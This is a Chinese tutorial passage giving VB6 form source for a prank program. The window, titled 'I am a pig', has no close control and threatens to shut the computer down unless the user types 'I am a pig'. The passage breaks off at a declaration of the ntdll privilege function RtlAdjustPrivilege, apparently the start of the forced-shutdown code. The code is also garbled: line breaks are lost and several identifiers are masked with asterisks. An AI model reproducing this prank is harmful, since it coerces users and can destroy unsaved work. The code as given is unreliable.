下一个VB，然后创建文本文档，命名为A,扩展名：Frm，内容为：VERSION 5.00Begin VB.Form Form1BorderStyle=1‘Fixed SingleCaption=“我是猪“ClientHeight=975ClientLeft=135ClientTop=525ClientWidth=2115ControlBox=0‘FalseLinkTopic=“Form1“MaxButton=0‘FalseMinButton=0‘FalseScaleHeight=975ScaleWidth=2115StartUpPosition =2‘屏幕中心Begin VB.*Button *1Caption=“确定“Height=375Left=540TabIndex=2Top=540Width=1035EndBegin VB.TextBox Text1Alignment=2‘CenterHeight=270Left=60TabIndex=1Text=“我不是猪“Top=240Width=1995EndBegin VB.Label Label1Caption=“说!““我是猪““不然就关机!“Height=195Left=60TabIndex=0Top=60Width=1995EndEndAttribute VB_Name = “Form1“Attribute VB_GlobalNameSpace =FalseAttribute VB_Creatable = FalseAttribute VB_Pre*dId = TrueAttribute VB_Exposed = FalsePrivate * FunctionRtlAdjustPrivilege& Lib “ntdll“ (B